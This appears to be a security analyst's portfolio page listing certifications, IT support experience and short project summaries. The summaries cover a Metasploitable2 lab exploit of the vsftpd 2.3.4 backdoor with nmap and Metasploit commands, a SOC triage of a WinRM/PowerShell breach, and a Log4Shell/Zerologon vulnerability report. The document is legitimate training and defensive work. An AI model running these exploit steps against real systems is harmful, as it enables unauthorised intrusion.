Reycardo Montañez Millan
> Cyber Threat Monitoring Analyst & IT Systems Specialist
Hi! I'm Reycardo Montañez Millan. My journey in technology started from the ground up—working 3 years as an IT Support & Computer Systems Technician, where I developed hands-on hardware troubleshooting, system formatting, OS deployment, and maintenance skills. Driven by my passion for security, I formally trained and qualified as a Cyber Threat Monitoring Level 1 Analyst. I am eager to contribute, open to feedback, and continuously learning through self-study, lab exercises, and hands-on practice every single day.
QUALIFIED
Cyber Threat Monitoring L1
TESDA / Radenta Academy
Institutional Assessment Competent in Threat Monitoring & Vuln Scanning.
Issued: October 2026
FORTINET CERT
FortiGate 7.6 Operator
Fortinet Training Institute
Firewall administration, security policies, and threat inspection.
Issued: Oct 26, 2026
FORTINET CERT
Next-Gen Firewall 1.0
Fortinet Training Institute
NGFW architecture, perimeter defense, and intrusion prevention.
Issued: Oct 24, 2026
FORTINET CERT
Cyber & Cloud Fundamentals
Fortinet Training Institute
Core cloud security models, threat landscapes, and network defense.
Issued: Oct 20, 2026
OFFENSIVE LAB
Metasploitable2 Penetration Test
Executed full penetration lifecycle from reconnaissance to exploitation on a vulnerable target.
# Recon & Service Fingerprinting
nmap -n -sV 192.168.56.101
# Exploit vsftpd 2.3.4 Backdoor
msfconsole > use exploit/unix/ftp/vsftpd_234_backdoor
msf > set RHOSTS 192.168.56.101
msf > run --> Meterpreter Session Opened!
- Target discovery & port scanning using Nmap.
- Identified vulnerable vsftpd 2.3.4 FTP service.
- Executed exploit via Metasploit Framework to establish Meterpreter shell.
BLUE TEAM / SOC REPORT
WinRM & PowerShell Attack Triage
Correlated SIEM (Wazuh), Firewall, EDR, and Windows Event logs to investigate an active breach.
- Detection: Flagged unauthorized WinRM login (Port 5985) from external IP 2.57.121.25.
- Execution: Obfuscated Base64 PowerShell execution spawned via wsmprovhost.exe.
- Lateral Movement: Detected SMB admin share connection attempt to 10.30.15.30.
- Enrichment: Verified IP reputation on VirusTotal (14/88 malicious flags).
- MITRE ATT&CK Mapping: T1021.006 (WinRM), T1059.001 (PowerShell), T1027 (Obfuscation).
NIST SP 800-115 REPORT
Enterprise Vulnerability Assessment
Performed credentialed vulnerability scan analysis and prioritization for hospital infrastructure.
- Critical Finding: Log4Shell (CVE-2021-44228) on EHR App Server (CVSS 10.0).
- Critical Finding: Zerologon (CVE-2020-1472) on Primary Domain Controller (CVSS 10.0).
- Risk Mitigation: Drafted remediation timeline & temporary JVM mitigation flags (-Dlog4j2.formatMsgNoLookups=true).
3-YEAR IT TECH FOUNDATION
Hardware & IT Systems Support
3 years of practical experience managing PC hardware, operating systems, and network peripherals.
- System unit assembly, deep cleaning, and thermal maintenance.
- PC Formatting, OS Deployment (Windows & Linux via Rufus multi-boot USBs).
- HDD/SSD Drive Cloning, bad sector diagnostics, and data recovery.
- Hardware troubleshooting (BSOD, NO-POST, RAM channel testing, PSU failures).